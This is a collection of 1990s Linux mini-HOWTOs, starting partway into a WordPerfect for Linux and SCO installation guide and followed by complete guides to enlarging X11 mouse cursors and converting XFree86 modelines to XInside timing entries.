3.6 Pricing and Availability

Upgrade pricing expected to be $149.99 (US) and retail pricing $199.99.


WordPerfect Mini-howto: WordPerfect 6.0 (Caldera)

 Next Previous Contents

4. WordPerfect 6.0 (Caldera)

Caldera sells both a WordPerfect and Motif Bundle ($130 US) and the Caldera Internet Office Suite ($219 US). Both include WordPerfect 6.0 for Linux.

Overall, WP 6.0 has been good to me. I have generated 20-30 large documents and numerous small ones, probably 1000+ pages if I printed them all out. The only problem that I have is that I use WP Times font under Linux and it is not compatible with the WP True Type Times font under Windows.

4.1 Impressions of 6.0

The author has been using WordPerfect for Linux on Caldera Network Desktop (CND) for the past year. The system is a P6/200, 64M RAM, SCSI, CND 1.0 with RiskyHack patches to the Linux 2.0.30 kernel, updated RPM, and many, many RPMS from Redhat and Caldera's WWW sites.

4.2 Getting WordPerfect 6.0

Visit Caldera's WWW site at http://www.caldera.com

4.3 Installation of 6.0

Installation was easy. I just followed the directions provided....

I did have to add wp to my fvwm menu (I am using FVWM95 on CND 1.0 with lots of patches) and to looking glass's menus.

My platform is a P6/200, 64M RAM, Caldera CND 1.0, RiskyHacks to libc 5.4.4, kernel 2.0.30 (Joliet and FAT32 patches), dual SCSI, CD-R, etc. WP uses 74 MB of disk space.

4.4 Bugs in 6.0

  • Export to HTML has several bugs with complex documents requiring some reformatting.
  • Occasional crashes (very rare).
  • Occasionally WP loops where it uses all memory and runs out of swap space, then crashes.
  • Some fonts are different between Windows and UNIX versions.
  • It has been reported to me that some WP macros for UNIX versions are different than those for Windows versions.


WordPerfect Mini-howto: WordPerfect 5.1 and 6.0 (SCO release)

 Next Previous Contents

5. WordPerfect 5.1 and 6.0 (SCO release)

I started using WP 5.1 for SCO (which was statically linked) since January, 1995. In the Spring, 1995, I obtained a copy of WP 6.0 for SCO (dynamic linked) and was able to install it with some pain. I subsequently have had some problems with the license manager. I have it running under 1.2.8.

This section is mainly from the original WordPerfect mini-howto. It has not been used in a long time. Note, the more recent versions of WP for SCO included both the dynamic and static linked versions, and hence did NOT require SCO's shared libraries.

This is mainly for background information! If you really want WP for Linux, get the new WP 7.0!

5.1 Impressions of WP/SCO

WP for SCO seemed to work fine (once the installation problems were overcome). I used this distribution for about 6-12 months until I received a copy of WP 6.0 for Linux (Caldera) and CND 1.0.

5.2 Getting WordPerfect WP/SCO

Contact SCO or visit their WWW page at http://www.sco.com

5.3 Installation of WP/SCO

Requirements

  • Linux 1.1.x to 1.2.x
  • modules (dynamic module loading software)
  • iBCS2 (Intel BCS2 and ELF loader module)
  • SCO dynamic libs (if required)
  • Domainname should be setup
  • Hostname should be setup and be less than 8 characters (localhost is 9)

Kernel Requirements

The kernel should be setup for module support and ELF support. If you have already done this, skip this step, else, do the following as root:

  • Load kernel in /usr/src/linux.xxx] and make sure that the symbolic link to the /usr/include/linux and /usr/include/asm directories are setup (see /usr/src/linux/README).
  • Build module support and install it (see below)
  • Build iBCS2 module and install it (see below)
  • Build kernel with module and ELF support (answer Y to BINFMT ELF and MOD VERSIONS)
  • Reboot on new kernel
  • Note: you have to build the module support file "genksyms" PRIOR to making your new kernel (telling the kernel to export symbols: CONFIG MODVERSIONS=y).

Modules

Loadable module support is required for iBCS2 and hence to run WP 6.0. Get the latest from the ftp sites, build it, and install it. If you have already setup your system for loadable modules, skip this step. Loadable module support (/sbin/insmod, /sbin/rmmod, /sbin/lsmod) is required. With recent kernels, genksyms is also required.

  • File: modules-1.1.87.tar.gz (or latest)
  • Put tar file in /usr/src/modules and build module support
  • Read the README in /usr/src/modules (or wherever you put it)
  • Cd to /usr/src/modules/genksyms and make genksysms, install it in /usr/local/bin (or /sbin)

iBCS2 Emulator

The iBCS2 emulator allows you to run SCO binaries such as WordPerfect 6.0. Get the latest from the ftp sites, build it, and install it.

  • Build and install in /usr/lib/modules
  • Read the HINTS file (/usr/src/ibcs/Doc/HINTS)
  • Make sure that iBCS2 sets up /dev/XOR, if not, create a symbolic link from /dev/null to /dev/XOR (cd /dev; ln -s /dev/null /dev/XOR)

The interfaces to some subsystems occur at the device layer and thus you need to create some device files in order to use them:

        * /dev/socksys and /dev/nfsd - interface for SVr3 STREAMS based
          TCP/IP applications

          # mknod /dev/socksys c 30 0
          # ln -s /dev/socksys /dev/nfsd

        [WARNING:  the below may already be setup as /dev/inet,
         /dev/arp, etc., they may have other major/minor numbers,
         if so, skip this step]

        * /dev/inet/{arp,icmp,ip,rip,tcp,udp} - more network hooks

          # mknod /dev/inet/arp c 30 2
          # mknod /dev/inet/icmp c 30 2
          # mknod /dev/inet/ip c 30 2
          # mknod /dev/inet/rip c 30 2
          # mknod /dev/inet/tcp c 30 2
          # mknod /dev/inet/udp c 30 2

        [THIS IS REQUIRED AND WILL USUALLY HAVE TO BE DONE MANUALLY!]
        * /dev/X0R - server side of SVR3 local X interface
          (see comments in Doc/Local-X)

          # ln -s /dev/null /dev/X0R

        * /dev/spx - client side of SVR3 local X interface
          (see comments in Doc/Local-X)

          # mknod /dev/spx c 30 1

SCO Shared Libraries

DO NOT VIOLATE SCO's COPYRIGHTS! You should get a copy of SCO's shared libraries and install them in /shlib. As root:

  • cd /; mkdev /shlib; chmod 755 /shlib
  • if required, make a temporary directory and set TMPDIR to it (export TMPDIR=/mytmpdir)
  • Copy the following SCO shared libraries from the SCO machine to Linux and put in /shlib:
             /shlib/libX11R5_s
         /shlib/libXtXm*

Loading WP60

Make sure that you have LOTS of space in your /tmp directory. If you do not have lots of space, make a tmp directory and set the environment variable TMPDIR to it. As root first try the following:

  • Mount the CD (e.g., to /cdrom)
  • cd to the CDROM and run the ./install script

If you get the following error you may not have enough space in your /tmp directory, make a new tmp directory and set the environment variable TMPDIR (see above):

  ERROR:  not enough space in /tmp, or this is an unsupported machine.

If all else fails, you may have to do it manually per these notes:

  • get iBCS2 running
  • copy the $WPDIR/cdrom/install.wp to $WPDIR and edit it I changed it so I could create /tmp/WpTmP on an NFS server (did not have the space locally). I then ran the program and made changes until I got it to startup.]
  • change to TMPDIR and run: ifiles/cdlink.sco -r /usr/local/wp60/cdrom This builds links with the proper names but the permissions are not set properly.
  • make a temp directory on the server and copy all files to it:
            cp -r  WpTmP/wp60/SCO/* wp60
  • change to the temp wp60 directory and changed permissions. cd wp60; chmod 555 wpinstall install/*
  • run the wpinstall program and answered the questions.
  • Because I still have the flexlm license manager for WP51 on the system, I had to manually run wplicense -e and create a new license.dat.
  • Start WP60.

License Manager

WordPerfect uses a license manager (see the manuals). This is a tricky beast that sometimes does not work properly under Linux (I have had it fail, done something else then I was able to start it). If you have problems call WordPerfect and they can assist you. Please RTFM the documentation section on the license manager.

To start the license manager, as root:

        # cd $WPDIR/shbin10
        # ./wplicense -s

Starting WP60

  • start iBCS2
  • start the license manager
  • setup your DISPLAY environment variable (e.g., export DISPLAY=gator:0)
  • run xwp ($WPDIR/wpbin/xwp filename.wpf &)

If you get the errors:

  /dev/XOR: No such file or directory
  Error: Can't open display: :0.0

You need to set up your DISPLAY environment variable (per above) and possibly setup the link to the device /dev/XOR (cd /dev; ln -s /dev/null /dev/XOR).

Note if WP "steals" the colors from your X server (a problem if the depth is only 256 colors), disable the display of the graphics banner page by doing the following:

  • Start XWP
  • From the control window, click on Preferences
  • from the Preferences window, select ENVIRONMENT
  • From the ENVIRONMENT window, turn off the checkbox for "Graphical Banner and Startup Screen"

RC Scripts

You will need to add a line to your /etc/rc.d/rc.local script (or similar) to start iBCS2 and the WP license manager (if desired).

        # /sbin/insmod /usr/lib/modules/iBCS &
        # $WPDIR/shbin10/wplicense -s &

Changes to install

This was extracted from my original notes and includes changes to install.wp that are reported to work:

The install.wp on the CDROM did not work out of the box. I had to modify it to get it to work by moving all files to a temporary directory and changing this install script. The changes are:

48c48,49
<       mkdir $LNK_DIR 2> /dev/null
---
> echo making LNK_DIR=$LNK_DIR
>       mkdir $LNK_DIR
51c52
<
---
> echo removing /tmp/TMPTMP
53a55,57
> echo /tmp/TMPTMP=
> cat /tmp/TMPTMP
> echo /tmp/TMPTMP -- to here
62,63c66,83
<       for i in $myfiles
<       do
---
> echo MYFILES=$myfiles  THISDIR=$thisdir
> ls $myfiles
> echo making LNK_DIR=$LNK_DIR/ifiles
> mkdir $LNK_DIR/ifiles
> chmod 777 $LNK_DIR/ifiles
> cp $thisdir/ifiles/* $LNK_DIR/ifiles
> chmod 777 $LNK_DIR/ifiles/*
> ls -l $LNK_DIR/ifiles
>
> # echo making links....
> # $LNK_DIR/ifiles/cdlink.sco -r $thisdir
> # echo links should be done...
> # exit
>
>
> #     for i in $myfiles
>         i=$thisdir/ifiles/cdlink.sco
> #     do
65a86,87
> echo /tmp/TMP=
> cat /tmp/TMP
73c95
<                       rm -f /tmp/TMPTMP
---
>               rm -f /tmp/TMPTMP
77c99
<       done
---
> #     done
368a391,394
> echo THISDIR=$thisdir
> thisdir=/usr/local/wp60/cdrom
> echo THISDIR=$thisdir
>
469a496,498
> echo INIT DONE, THISDIR=$thisdir
> ls $thisdir/ifiles/cdinst.*
>
493a523,526
>
> echo RUN_ME=$RUN_ME
> RUN_ME=$thisdir/ifiles/cdinst.sco
> echo RUN_ME=$RUN_ME

5.4 Bugs in WP/SCO

I did not keep a detailed list of bugs for WP/SCO, however:

  • The initial version had install problems.
  • The initial version used SCO shared libraries, hence required a copy of them on Linux.


WordPerfect Mini-howto: The Future

 Next Previous Contents

6. The Future

Sometime in August, WordPerfect 7.0 for Linux should ship. It should be available from SDC for about $149.99 for a competitive upgrade or $199.99 retail.

Corel is working on porting their entire office suite to Java and releasing it as Corel Office for Java(TM). This currently is in Beta and works on Linux (I tried the first beta -- very slow). Check out http://officeforjava.corel.com/about.htm for more information. This promises to be something to watch.

SDC is currently working on WPLinux 8 with an expected beta mid 1998 and a release following by about 5 months. SDC has indicated that if there is not sufficient demand for WP for Linux, they will probably not ship it (they already stopped shipping for SGI and UNIXWare) -- so if you like it, buy it!


WordPerfect Mini-howto: For More Information

 Next Previous Contents

7. For More Information

Software Development Corporation is the developer of WordPerfect for UNIX. Corel has outsourced the development of WordPerfect for UNIX to SDC. I have been in touch with the SDC product manager for WP for LINUX and he has been very helpful (I have provided him with a review copy of this document).

        Software Development Corporation
        512 East 1860 South
        Provo, Utah 84606 USA

        Phone: (801) 370-9600
        Fax: (801) 370-9696
        Email: info@sdcorp.com
WWW: http://www.sdcorp.com/wpunix.html

Corel Corporation is the new owner of WordPerfect, having purchased it from Novell. They develop and market excellent products such as Corel Draw and WordPerfect.

        Corel Corporation
        Ottawa, Ontario, CA

        Technical Support (WP UNIX): (801) 765-4019
WWW: http://www.corel.com

< Caldera Corporation sells WordPerfect 6.0 for Caldera Network Desktop (CND) for $129.99 (WordPerfect and Motif Bundle). Note, at this time, I have no information on if Caldera is planning to sell WP 7.0.

        Caldera, Inc.
      633 South 550 East
      Provo, Utah 84606 USA

        (888) GO LINUX
        (801) 377=7687
WWW: http://www.caldera.com

As a last resort, email me at whampton@staffnet.com.


X11-big-cursor MINIHOWTO

How to use enlarged mouse cursors with the X window system

Jörg Schneider

v2, 11 August 1997

This document describes how to use enlarged mouse cursors with the X window system.

1. Introduction

2. About this document

3. How to do it

4. Notes and limitations

5. Technical discussion

6. Other ideas how to make the mouse cursor more visible

7. Related info

  • 7.1 How to use a font server
  • 7.2 How to get the bdf source for some font


X11-big-cursor MINIHOWTO: Introduction

 Next Previous Contents

1. Introduction

There are several reasons why the standard X mouse cursors are hard to track for some people:

  • when running X on a notebook with low contrast LCD
  • on normal screens when using high resolution, 1600x1280 e. g.
  • for visually impaired persons even on normal hardware

In all cases it might help to use enlarged mouse cursors. Ideally this job should be done by a single X program that automatically enlarges every mouse cursor.

To my knowledge there is no simple way to write a utility like this, because the X protocol has no provision to query mouse cursors. For more details see section Technical discussion below.

If we aim for a less general goal, though, something can be done:

There is a set of standard mouse cursors that can be found in the cursor font (try xfd -fn cursor to look at it). Most programs use these mouse cursors and the key idea is to replace the standard cursor font with an enlarged version.


X11-big-cursor MINIHOWTO: About this document

 Next Previous Contents

2. About this document

The motivation for this MINIHOWTO was a visually impaired co-student who asked me how to enlarge the mouse cursor under X. After I found out how this can be done, I wrote an initial version of this document. The knowledge about the method described here does not seem to be common, so I decided to share it and submitted this document as a Linux MINIHOWTO, despite the fact that it is not specific to Linux at all. As all other MINIHOWTOs it can be found in the home of of the Linux Documentation Project (LDP).

The master of this document is maintained in the SGML/linuxdoc format. This makes it possible to automatically provide versions in the following formats (which can be found in the same place as the master): html, text, LaTeX, DVI, PostScript, GNU info.

Shinobu Miyata has done a Japanese translation of this MINIHOWTO. It can be found in http://i11www.ira.uka.de/~schneid/jp/X11-big-cursor/.


X11-big-cursor MINIHOWTO: How to do it

 Next Previous Contents

3. How to do it

Follow the steps detailed below. If you don't want to get and compile the bdfresize package yourself, you can skip to step 3 and download a magnified font instead of creating it.

  1. get cursor.bdf, the source of the cursor font, from some X distribution, e. g. from ftp://ftp.x.org/pub/R6.3/xc/fonts/bdf/misc/cursor.bdf (if you don't find it there try an archie search or get it from my copy).
  2. get, compile and install the bdfresize package from ftp://ftp.cs.titech.ac.jp/X11/contrib/Local/bdfresize-1.4.tar.Z (or from my copy):
         zcat bdfresize-1.4.tar.Z  | tar xf -
     cd bdfresize-1.4
     xmkmf
     make
    On Linux you probably have to use:
         make CCOPTIONS='-include /usr/include/bsd/bsd.h' clean all
  3. create a directory and install a magnified cursor font in it (magnification factor 2 in this example):
         mkdir $HOME/fonts
     bdfresize -f 2 cursor.bdf | bdftopcf >$HOME/fonts/cursor2.pcf
     mkfontdir $HOME/fonts
    I have prepared some cursor fonts with the following magnification factors: 1.5, 2, 2.5, 3, 4, 5, 6, 7, 8 and 16. You can download one of them an copy it to $HOME/fonts if you don't want to use bdfresize.
  4. modify your .xinitrc or .xsession file: before any X client (that uses cursors) is started the following commands must be executed:
         xset +fp $HOME/fonts
     xsetroot -cursor_name X_cursor
  5. leave your X session and restart.

That's it—now all mouse cursors should have doubled in size.


X11-big-cursor MINIHOWTO: Notes and limitations

 Next Previous Contents

4. Notes and limitations

  • X servers may have a limit for the maximum cursor size, especially if they use a hardware implementation for the mouse cursor. Others do not have such a limit. E. g. XF86_S3 3.3 works even with a 512x512 mouse cursor (rather slowly).
  • The magnified cursor font must have the same name as the original font (the font name must be cursor, file name does not matter)—that is no problem as bdfresize does not change the font name.
  • The directory with the new cursor font must be placed before the directory with the standard cursor font in the the font path—this is accomplished with xset +fp (as opposed to xset fp+).
  • Changes in $HOME/fonts/ will be visible only after the command mkfontdir $HOME/fonts; xset fp rehash and only in newly started X clients (more exactly: for newly created cursors).
  • xset +fp path may not work on a X-Terminal. In this case a font server (see the section How to use a fontserver) can be used if supported by the X-Terminal or some other method to install the font on the X-Terminal (this can generally only be done by your system administrator).
  • The same approach can be used for olcursor and decw$cursor fonts and any other cursor font you may encounter.
  • Cursor fonts produced by bdfresize don't look smooth, especially at larger magnification factors. It would be nice if someone could create better looking handcrafted version at some common sizes.


X11-big-cursor MINIHOWTO: Technical discussion

 Next Previous Contents

5. Technical discussion

Is it possible to write a X program that enlarges cursors automatically?

(Partial) solution 1

Use the XTestCompareCursor from the XTEST extension. For all windows that the mouse pointer enters compare the cursor of this window with a set of `known' cursors (e. g. from the cursor font). If the cursor is found, replace it with an enlarged version, otherwise either leave it alone or substitute a standard cursor. This will only work where the XTest extension is available.

Solution 2

Write a proxy X server that relays all client requests unchanged to the real X server, except that it intercepts all requests corresponing to the XCreate*Cursor Xlib functions. XCreate*Cursor requests should be modified to use an enlarged cursor.

This proxy server simulates a new display, e. g. :1. All clients that connect to this display (e. g. xterm -display :1) are displayed on the real server (normally :0) and their mouse cursors are enlarged automatically. The mouse cursors of clients that connect to :0 will remain unchanged.


X11-big-cursor MINIHOWTO: Other ideas how to make the mouse cursor more visible

 Next Previous Contents

6. Other ideas how to make the mouse cursor more visible

Here are some ideas for rather simple X programs that might make mouse cursors easier to track.

  • When a hot key is pressed display something (big cursor, small window, shaped window) at pointer position for 0.5s.
  • use XRecolorCursor to change the mouse cursor color every 0.1s

A more demanding project would be mouse trails à la windoze, i. e. when the mouse is moved and the mouse cursor needs to be drawn in a different position, then the old mouse cursor does not disappear at once, but after a short delay. Mouse trails would be probably best implemented in a X server, but it might be feasible to do it as a X client, or better as a proxy server (see section Technical discussion for details).


X11-big-cursor MINIHOWTO: Related info

 Next Previous Contents

7. Related info

7.1 How to use a font server

A font server is a net service that provides a set of X11 fonts with a simple protocol. It can be queried which fonts it provides and will supply the font bitmap data on request.

You might want to use a font server to provide the X server with a modified cursor font, instead of telling it where to find the font on the file system.

This method is especially handy if you use several machines that don't share a common file system or if you use X terminals that support the font server protocol.

A font server program and associated tools comes with the X11R5+ distribution (AFAIK).

Setting up a font server

Read the manual pages fs(1), fslsfonts(1) (or xfs(1), xfslsfonts(1) under X11R6) and try it—it isn't hard. Say, you are running the server on host some.host.edu on port 7100. You can test the setup with the command

fslsfonts -server some.host.edu:7100

To actually use the server issue the command

xset +fp tcp/some.host.edu:7100

which should return without an error message.

7.2 How to get the bdf source for some font

If you have set up a font server simply use fstobdf which comes with the font server.

Alternatively you may try getbdf which can dump any installed X11 font to a bdf file.


Linux XFree-to-Xinside mini-HOWTO

by Marco Melgazzi, marco@techie.com

v1.3, September 1997

How to convert an XFree86 modeline into an XInside/XiGraphics one

1. Introduction

2. Why should I need it ?

3. Let's go

4. Fixing up things

5. The end...

6. Automating the process

7. Thanks to

8. Copyright/legalese


Linux XFree-to-Xinside mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

During the spring of 1996 I've seen a lot of posts in comp.os.linux.x asking how to convert video modes between XFree86 and one of its commercial alternatives: XInside ( now named XiGraphics, note anyway that in this document I'll use the old product name, since I will mainly refer to that version )

I had evaluated before the product and had this evaluation version still floating on my hard disk: since I like problem solving, I've decided to give it a try and, after a couple of hours of fiddling and calculating, I came up with a supposedly informative article that was promptly posted.

The discussions about how to convert suddendly vanished and I received 1 (one) mail thanking me for the article so, since maybe somebody else could need this information in the future, I decided to transform that post in the mini-HOWTO you are reading.

Let me state something first: I do NOT work for XInside and I only had access to the evaluation 1.2 version for Linux. I know that nowadays ( May 97 ) AccelX has reached revision 3.1, but I do think that the information included in this document, if not verbatim, is still applicable.

Due to the fact that this HOWTO has been written with the help of a pretty old Xinside version, it may well happen that some of the information contained here is not completely accurate: as you will read later, thanks to the birth of XFree 3.2, I haven't bought this commercial server, so if you have, and if you notice any incorrect information here please take the time to email me.

Notice anyway that fiddling with monitor timings can be hazardous and, for this reason, I absolutely make no guarantees. If it works for you , fine, if you blow up your computer I shall not be held responsible for it.

As you may have noticed from may name, I'm not a native speaker of English so you will probably find some errors here and there, I apologize for them and I ask you to please avoid flooding my mailbox with language-related flames. Thanks !


Linux XFree-to-Xinside mini-HOWTO: Why should I need it ?

 Next Previous Contents

2. Why should I need it ?

I think that the Xinside policy of not giving you an utility to tweak your video modes ( like xvidtune ) and/or to import your existing XFree ones in the evaluation ( and AFAIK commercial ) version is incomprehensible. I've spent about three hours putting this together ( hint: I've compared the VESA 1024x768@70Hz entry in the two formats ( and I'm nearly an electronic engineer ;-)) while an Xinside programmer could have written a comparable article in a fraction of this time...

I haven't downloaded any evaluation version from 1.3 onwards and I really hope they have fixed this. Well, if they have, this mini-HOWTO could be considered useless but, alas, if you read it you will learn something more about how everything works...


Linux XFree-to-Xinside mini-HOWTO: Let's go

 Next Previous Contents

3. Let's go

Let's suppose that you have your oh-so-tweaked XFree86 mode and you want to evaluate Xinside in the same conditions: follow the steps described below and you should be able to do it; we will use my default video mode as a real-life example and I will explain what you will have to do to convert it.

An Xfree86 entry looks like this:

Modeline "blahblah" DOTCLK  A B C D  a b c d

Every one of the A-D and a-d numbers has a meaning: if you want you can search for it in the 'The Hitchhiker's Guide to X386/XFree86 Video Timing' ( /usr/lib/X11/doc/VideoModes.doc ) but you don't need to know the theory behind all this to perform a succesful conversion...

My modeline in /usr/lib/X11/XF86Config is:

Modeline "1168x876" 105  1168 1256 1544 1640  876 877 891 900
                     |     |    |    |    |    |   |   |   |
                  DOT_CLK  A    B    C    D    a   b   c   d

In Xinside, you have to add an entry in the Xtimings file, which should be located in etc/ ( from now on we suppose you are in the top Xaccel directory that should be something like /usr/X11/lib/X11/AcceleratedX )

!    Somewhere in the file, put here the name you want

[PREADJUSTED_TIMING]
    PreadjustedTimingName = "1168x876 @ 72Hz";

!
!    These four are obvious
!
    HorPixel          = 1168;         // pixels
    VerPixel          = 876;          // lines
    PixelWidthRatio   = 4;
    PixelHeightRatio  = 3;

!
!   hsync: DOT_CLK / D * 1000 [KHz]
!
!   hsync = 105 / 1640 * 1000 = 64.024 KHz
!
!   vsync: ( 1 / (( D / DOT_CLK ) * d) ) * 1,000,000 [Hz]
!
!   vsync: ( 1 / (( 1640 / 105 ) * 900) ) * 1,000,000
!           ( 1 / 14057.1428571 ) * 1,000,000 = 71.138 Hz
!

    HorFrequency      = 64.180;        // kHz
    VerFrequency      = 71.138;        // Hz

!   Obvious

    ScanType          = NONINTERLACED;

!
!   Put here the +/-hsync +/-vsync XFree86 options
!
    HorSyncPolarity   = POSITIVE;
    VerSyncPolarity   = POSITIVE;

!   Shouldn't change

    CharacterWidth    = 8;             // pixels

!   DOT_CLK here

    PixelClock        = 105.000;       // MHz
!
!
!   horizontal timings section: [usec]
!
    HorTotalTime  = D / DOT_CLK                  = 15.619;
    HorAddrTime   = A / DOT_CLK                  = 11.124;
    HorBlankStart = A / DOT_CLK                  = 11.124;
    HorBlankTime  = HorTotalTime - HorBlankStart =  4.495;
    HorSyncStart  = B / DOT_CLK                  = 11.962;
    HorSyncTime   = C / DOT_CLK - HorSyncStart   =  2.743;

 !
 !  vertical timings section:    [msec]
 !

    VerTotalTime  = ( HorTotalTime * d ) / 1000  = 14.057;
    VerAddrTime   = ( HorTotalTime * a ) / 1000  = 13.682;
    VerBlankStart = ( HorTotalTime * a ) / 1000  = 13.682;
    VerBlankTime  = VerTotalTime - VerBlankStart =  0.375;
    VerSyncStart  = ( HorTotalTime * b ) / 1000  = 13.698;
    VerSyncTime   = ( HorTotalTime * ( c - b ) ) / 1000
                                                 = 0.219

 ! Finished !

Now you have to put this newly created mode in the files shown below in the appropriate place.


Linux XFree-to-Xinside mini-HOWTO: Fixing up things

 Next Previous Contents

4. Fixing up things

In the excerpts shown below the -> sign tells you what was modified: do NOT include it in your files!

Monitor entry ( mine is monitors/mfreq/mfreq64.vda)

    [ESTABLISHED_TIMINGS]
        "640x480 @ 60Hz",
        "640x480 @ 72Hz",
        "640x480 @ 75Hz",
        "800x600 @ 56Hz",
        "800x600 @ 60Hz",
        "800x600 @ 72Hz",
        "800x600 @ 75Hz",
        "1024x768 Interlaced",
        "1024x768 @ 60Hz",
        "1024x768 @ 70Hz",
        "1024x768 @ 75Hz",
    "1152x900 Interlaced",
        "1152x900 @ 60Hz",
        "1152x900 @ 67Hz",
->      "1168x876 @ 72Hz",
        "1280x1024 Interlaced",
        "1280x1024 @ 60Hz",
    "1600x1200 Interlaced";

Board info file ( mine is boards/s3/764-2.xqa , I wonder why they have nearly all the Hercules boards but not MINE: Terminator 64/Dram )

[VISUAL]
    BitsPerPixel   = 8;
    MemoryModel    = Packed;
    ColorModel     = Indexed;
    BitsRGB        = 6;
    NumberOfColors = 256;

    [RESOLUTIONS]
    640x480,
    800x600,
    1024x768,
->  1168x876,
    1152x900,
    1280x1024

    [DESKTOPS]
    640x480,
    800x600,
    1024x768,
    1152x900,
->  1168x876,
    1280x1024,
    1600x1200

If the dot clock is low enough ( NOT in this case for my board ) you can put the entry even in the 16bpp and 32bpp sec- tions.

The /etc/Xaccel.ini will look something like this

--------------------------------------------------------------
    Board   = "s3/764-2.xqa";
    Monitor = "mfreq/mfreq64.vda";
    Depth   = 8;
->  Desktop = 1168x876;

    [RESOLUTIONS]
->      1168x876,
        1024x768;

The actual Xinside mode entry in etc/Xtimings

--------------------------------------------------------------
[PREADJUSTED_TIMING]
    PreadjustedTimingName = "1168x876 @ 72Hz";

    HorPixel          = 1168;          // pixels
    VerPixel          = 876;           // lines
    PixelWidthRatio   = 4;
    PixelHeightRatio  = 3;
    HorFrequency      = 64.024;        // kHz
    VerFrequency      = 71.138;        // Hz
    ScanType          = NONINTERLACED;
    HorSyncPolarity   = POSITIVE;
    VerSyncPolarity   = POSITIVE;
    CharacterWidth    = 8;             // pixels
    PixelClock        = 105.000;       // MHz
    HorTotalTime      = 15.619;        // (usec) =  205 chars
    HorAddrTime       = 11.124;        // (usec) =  146 chars
    HorBlankStart     = 11.124;        // (usec) =  146 chars
    HorBlankTime      =  4.495;        // (usec) =   59 chars
    HorSyncStart      = 11.962;        // (usec) =  157 chars
    HorSyncTime       =  2.743;        // (usec) =   36 chars
    VerTotalTime      = 14.057;        // (msec) =  900 lines
    VerAddrTime       = 13.682;        // (msec) =  876 lines
    VerBlankStart     = 13.682;        // (msec) =  876 lines
    VerBlankTime      =  0.375;        // (msec) =   24 lines
    VerSyncStart      = 13.698;        // (msec) =  877 lines
    VerSyncTime       =  0.219;        // (msec) =   14 lines

You can check your conversion by running the vgaset program with no parameters while running the Xinside server: it will output an XFree-like line and, if everything went OK, this line will be equal to the line you started from ( except if b and c are equal, I haven't been able to reproduce this situation in Xinside: the best case was c=b+1 ).


Linux XFree-to-Xinside mini-HOWTO: The end...

 Next Previous Contents

5. The end...

That's all folks ! I hope this will be useful to you. I don't think I'll buy the XiGraphics server in the near future for one simple reason: the release of XFree86 3.2 solved all of the text speed problems I was having on my humble Trio 64 video board ;)

It seems anyway that the XiGraphics server supports a much wider array of chipsets and video boards than XFree, so it may well happen that the commercial 'alternative' is the only viable one for you. If this is the case, and you bought the XiGraphics server, I would really like to hear from you to know if the information presented here has been useful to you, or if you found it too complex or whatever.


Linux XFree-to-Xinside mini-HOWTO: Automating the process

 Next Previous Contents

6. Automating the process

This small script automates most of the work. Be very careful with the ScanType and with the two Polarity lines: the script do not set them and, if you are too lazy to correct them, the risks of blowing up your monitor increase quite a lot.

Notice that I don't know if the 'Doublescan' flag has meaning in XInside: if you try to convert a low-res doublescan mode BE CAREFUL, you can easily kill your monitor since the refresh rate that you get is doubled ( in fact my 400x300@72Hz became a 400x300@144Hz !).

#!/bin/sh
##########################################################################
# XF2XInside
#
# This script converts modelines from XF86Config format to XInside
# format as needed for the etc/Xtiming file.
#
# This is a quick hack, so don't expect much error checking (not to
# speak of anything like user friendlyness).
#
# If you call it without arguments it should tell you what to do.
#
#                               ( July 1996, hcz@tazlwurm.bb.bawue.de)
#
# Btw: New modes created as described in the HOWTO work, but don't
# show up in Xsetup's menu. Anybody who knows why?
#
##########################################################################
#----------------------------------------------- Here we go:
# Change this if your modeline file lives somewhere else:
XF=/usr/X11/lib/X11/XF86Config
if [ $# -ne 1 ] ; then
  echo "usage: ${0##*/} <mode>"
  echo " example: ${0##*/} 1024x764"
  echo -e " function: converts $XF modeline entry into\n Xinside Format (stdout)"
  exit 1
fi
egrep -i "^[\t ]*modeline.+\"$1\""  /usr/X11/lib/X11/XF86Config |
gawk '
NF < 11  { print "! invalid Modeline:\n! " $0 "\n!"; next }
{
  print "//", $0  ":"
  name = $2
  DOT_CLK = $3;
  A = $4;
  B = $5;
  C = $6;
  D = $7;
  a = $8;
  b = $9;
  c = $10;
  d = $11;
  VerFrequency =  1000000 / ((D / DOT_CLK) * d)
  print "[PREADJUSTED_TIMING]"
  printf "  PreadjustedTimingName = \"%dx%d @ %.0dHz\";\n", A, a, VerFrequency
  print "  HorPixel\t\t= " A ";"
  print "  VerPixel\t\t= " a ";"
  print "  PixelWidthRatio\t= 4;\n  PixelHeightRatio\t= 3;"
  print "  HorFrequency\t\t= " DOT_CLK / D * 1000 ";\t// kHz"
  print "  VerFrequency\t\t= " VerFrequency  ";\t// Hz"
  print "  ScanType\t\t= NONINTERLACED;\t\t// *CHECK*"
  print "  HorSyncPolarity\t= NEGATIVE;\t\t\t// *CHECK*"
  print "  VerSyncPolarity\t= NEGATIVE;\t\t\t// *CHECK*"
  print "  CharacterWidth\t= 8;"
  print "  PixelClock\t\t= " DOT_CLK ";"
  HorTotalTime = D / DOT_CLK
  print "  HorTotalTime\t\t= " HorTotalTime ";"
  print "  HorAddrTime \t\t= " A / DOT_CLK ";"
  print "  HorBlankStart\t\t= " A / DOT_CLK ";"
  print "  HorBlankTime\t\t= " D / DOT_CLK - A / DOT_CLK ";"
  print "  HorSyncStart\t\t= " B / DOT_CLK ";"
  print "  HorSyncTime\t\t= " C / DOT_CLK - B / DOT_CLK ";"
  VerTotalTime  = ( HorTotalTime * d ) / 1000
  print "  VerTotalTime\t\t= " VerTotalTime ";"
  print "  VerAddrTime\t\t= " ( HorTotalTime * a ) / 1000 ";"
  VerBlankStart = ( HorTotalTime * a ) / 1000
  print "  VerBlankStart\t\t= " VerBlankStart ";"
  print "  VerBlankTime\t\t= " VerTotalTime - VerBlankStart ";"
  print "  VerSyncStart\t\t= " ( HorTotalTime * b ) / 1000 ";"
  print "  VerSyncTime\t\t= " ( HorTotalTime * ( c - b ) ) / 1000
  print ""
}'


Linux XFree-to-Xinside mini-HOWTO: Thanks to

 Next Previous Contents

7. Thanks to

  • Heike Claudia Zimmerer hcz@tazlwurm.bb.bawue.de for pointing out a small inconsistency and for sending me a script that automates most of the work.
  • Bartosz Maruszewski B.Maruszewski@zsmeie.torun.pl for translating this mini HOWTO in Polish and for pointing out a small typo.


Linux XFree-to-Xinside mini-HOWTO: Copyright/legalese

 Next Previous Contents

8. Copyright/legalese

(c)opyright 1996-7 by Marco Melgazzi (marco@techie.com) - the GPL (Gnu Public License) applies. To obtain a copy of the GPL write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

